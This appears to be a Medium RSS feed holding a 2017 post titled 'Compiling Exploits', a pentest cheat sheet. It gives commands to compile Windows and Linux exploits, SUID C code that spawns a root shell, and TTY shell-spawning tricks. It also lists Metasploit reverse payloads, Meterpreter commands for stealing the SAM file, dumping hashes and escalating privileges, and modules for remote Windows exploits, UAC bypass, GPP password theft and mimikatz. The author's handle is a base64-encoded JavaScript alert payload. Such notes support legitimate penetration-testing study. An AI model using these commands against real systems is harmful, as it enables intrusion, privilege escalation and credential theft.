<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5kb21haW4pCg on Medium]]></title>
        <description><![CDATA[Stories by amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5kb21haW4pCg on Medium]]></description>
        <link>https://medium.com/@_____________?source=rss-af0682ab3016------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*XUTXLa1PHhwpLRurLqKT1A.png</url>
            <title>Stories by amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5kb21haW4pCg on Medium</title>
            <link>https://medium.com/@_____________?source=rss-af0682ab3016------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 02:25:29 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@_____________/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Compiling Exploits]]></title>
            <link>https://medium.com/@_____________/compiling-exploits-4ec7bb9ec03c?source=rss-af0682ab3016------2</link>
            <guid isPermaLink="false">https://medium.com/p/4ec7bb9ec03c</guid>
            <category><![CDATA[shell]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[docker]]></category>
            <dc:creator><![CDATA[amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5kb21haW4pCg]]></dc:creator>
            <pubDate>Sun, 10 Dec 2017 11:48:01 GMT</pubDate>
            <atom:updated>2017-12-10T13:07:52.170Z</atom:updated>
            <content:encoded><![CDATA[<p>Some notes on compiling exploits.</p><h3>Identifying if C code is for Windows or Linux</h3><p>C #includes will indicate which OS should be used to build the exploit.</p><p>Command &amp; Description</p><p>process.h, string.h, winbase.h, windows.h, winsock2.h</p><p>Description Windows exploit code</p><p>arpa/inet.h, fcntl.h, netdb.h, netinet/in.h, <br> sys/sockt.h, sys/types.h, unistd.h</p><p>Linux exploit code</p><h3>Build Exploit GCC</h3><p>Compile exploit gcc.</p><p>Command &amp; Description</p><p>#gcc -o exploit exploit.c</p><p>Description Basic GCC compile</p><h3>GCC Compile 32Bit Exploit on 64Bit Kali</h3><p>Handy for cross compiling 32 bit binaries on 64 bit attacking machines.</p><p>Command &amp; Description</p><p>#gcc -m32 exploit.c -o exploit</p><p>Cross compile 32 bit binary on 64 bit Linux</p><p>____________________________________________________</p><h3>Compile Windows .exe on Linux</h3><p>Build / compile windows exploits on Linux, resulting in a .exe file.</p><p>Command &amp; Description</p><p>#i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe</p><p>Compile windows .exe on Linux</p><p>____________________________________________________</p><h3>SUID Binary</h3><p>Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.</p><p>below are some quick copy and pate examples for various shells:</p><h3>SUID C Shell for /bin/bash</h3><p><strong>|int main(void){setresuid(0, 0, 0); system(&quot;/bin/bash&quot;); } |</strong></p><h3>SUID C Shell for /bin/sh</h3><p><strong>|int main(void){ setresuid(0, 0, 0); system(&quot;/bin/sh&quot;); } |</strong></p><h3>Building the SUID Shell binary</h3><p>#gcc -o suid suid.c</p><p>For 32 bit:</p><p>#gcc -m32 -o suid suid.c</p><p>____________________________________________________</p><h3>TTY Shells</h3><p>Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like su from reverse shells.</p><h3>Python TTY Shell Trick</h3><p>#python -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</p><p>#echo os.system(&#39;/bin/bash&#39;)</p><h3>Spawn Interactive sh shell</h3><p>#/bin/sh -i</p><h3>Spawn Perl TTY Shell</h3><p>#exec &quot;/bin/sh&quot;; perl —e &#39;exec &quot;/bin/sh&quot;;&#39;</p><h3>Spawn Ruby TTY Shell</h3><p>#exec &quot;/bin/sh&quot;</p><h3>Spawn Lua TTY Shell</h3><p>#os.execute(&#39;/bin/sh&#39;)</p><h3>Spawn TTY Shell from Vi</h3><p>Run shell commands from vi:</p><p>:!bash</p><h3>Spawn TTY Shell NMAP</h3><p>!sh</p><p>____________________________________________________</p><h3>Metasploit Cheat Sheet</h3><p>A basic metasploit cheat sheet that I have found handy for reference.</p><p>Basic Metasploit commands, useful for reference, for pivoting see — <a href="https://highon.coffee/blog/ssh-meterpreter-pivoting-techniques/">Meterpreter Pivoting</a> techniques.</p><h3>Meterpreter Payloads</h3><h3>Windows reverse meterpreter payload</h3><p>Command &amp; Description</p><p>#set payload windows/meterpreter/reverse_tcp</p><p>Windows reverse tcp payload</p><p>____________________________________________________</p><h3>Windows VNC Meterpreter payload</h3><p>Command &amp; Description</p><p>#set payload windows/vncinject/reverse_tcp</p><p>#set ViewOnly false</p><p>Meterpreter Windows VNC Payload</p><p>____________________________________________________</p><h3>Linux Reverse Meterpreter payload</h3><p>Command &amp; Description</p><p>#set payload linux/meterpreter/reverse_tcp</p><p>Meterpreter Linux Reverse Payload</p><p>____________________________________________________</p><h3>Meterpreter Cheat Sheet</h3><p>Useful meterpreter commands.</p><p>Command &amp; Description</p><p>#upload file c:\\windows</p><p>Meterpreter upload file to Windows target</p><p>#download c:\\windows\\repair\\sam /tmp</p><p>Meterpreter download file from Windows target</p><p>#download c:\\windows\\repair\\sam /tmp</p><p>Meterpreter download file from Windows target</p><p>#execute -f c:\\windows\temp\exploit.exe</p><p>Meterpreter run .exe on target — handy for executing uploaded exploits</p><p>#execute -f cmd -c</p><p>Creates new channel with cmd shell</p><p>#ps</p><p>Meterpreter show processes</p><p>#shell</p><p>Meterpreter get shell on the target</p><p>#getsystem</p><p>Meterpreter attempts priviledge escalation the target</p><p>#hashdump</p><p>Meterpreter attempts to dump the hashes on the target</p><p>#portfwd add –l 3389 –p 3389 –r target</p><p>Meterpreter create port forward to target machine</p><p>#portfwd delete –l 3389 –p 3389 –r target</p><p>Meterpreter delete port forward</p><p>____________________________________________________</p><h3>Common Metasploit Modules</h3><p>Top metasploit modules.</p><h3>Remote Windows Metasploit Modules (exploits)</h3><p>Command &amp; Description</p><p>#use exploit/windows/smb/ms08_067_netapi</p><p>MS08_067 Windows 2k, XP, 2003 Remote Exploit</p><p>#use exploit/windows/dcerpc/ms06_040_netapi</p><p>MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit</p><p>#use exploit/windows/smb/<br>#ms09_050_smb2_negotiate_func_index</p><p>MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit</p><p>____________________________________________________</p><h3>Local Windows Metasploit Modules (exploits)</h3><p>Command &amp; Description</p><p>#use exploit/windows/local/bypassuac</p><p>Bypass UAC on Windows 7 + Set target + arch, x86/64</p><p>____________________________________________________</p><h3>Auxilary Metasploit Modules</h3><p>Command &amp; Description</p><p>#use auxiliary/scanner/http/dir_scanner</p><p>Metasploit HTTP directory scanner</p><p>#use auxiliary/scanner/http/jboss_vulnscan</p><p>Metasploit JBOSS vulnerability scanner</p><p>#use auxiliary/scanner/mssql/mssql_login</p><p>Metasploit MSSQL Credential Scanner</p><p>#use auxiliary/scanner/mysql/mysql_version</p><p>Metasploit MSSQL Version Scanner</p><p>#use auxiliary/scanner/oracle/oracle_login</p><p>Metasploit Oracle Login Module</p><p>____________________________________________________</p><h3>Metasploit Powershell Modules</h3><p>Command &amp; Description</p><p>#use exploit/multi/script/web_delivery</p><p>Metasploit powershell payload delivery module</p><p>#post/windows/manage/powershell/exec_powershell</p><p>Metasploit upload and run powershell script through a session</p><p>#use exploit/multi/http/jboss_maindeployer</p><p>Metasploit JBOSS deploy</p><p>#use exploit/windows/mssql/mssql_payload</p><p>Metasploit MSSQL payload</p><p>____________________________________________________</p><h3>Post Exploit Windows Metasploit Modules</h3><p>Windows Metasploit Modules for privilege escalation.</p><p>Command &amp; Description</p><p>#run post/windows/gather/win_privs</p><p>Metasploit show privileges of current user</p><p>#use post/windows/gather/credentials/gpp</p><p>Metasploit grab GPP saved passwords</p><p>#load mimikatz -&gt; wdigest</p><p>Metasplit load Mimikatz</p><p>#run post/windows/gather/local_admin_search_enum</p><p>Idenitfy other machines that the supplied domain user has administrative access to</p><p>#run post/windows/gather/smart_hashdump</p><p>Automated dumping of sam file, tries to esc privileges …etc</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4ec7bb9ec03c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>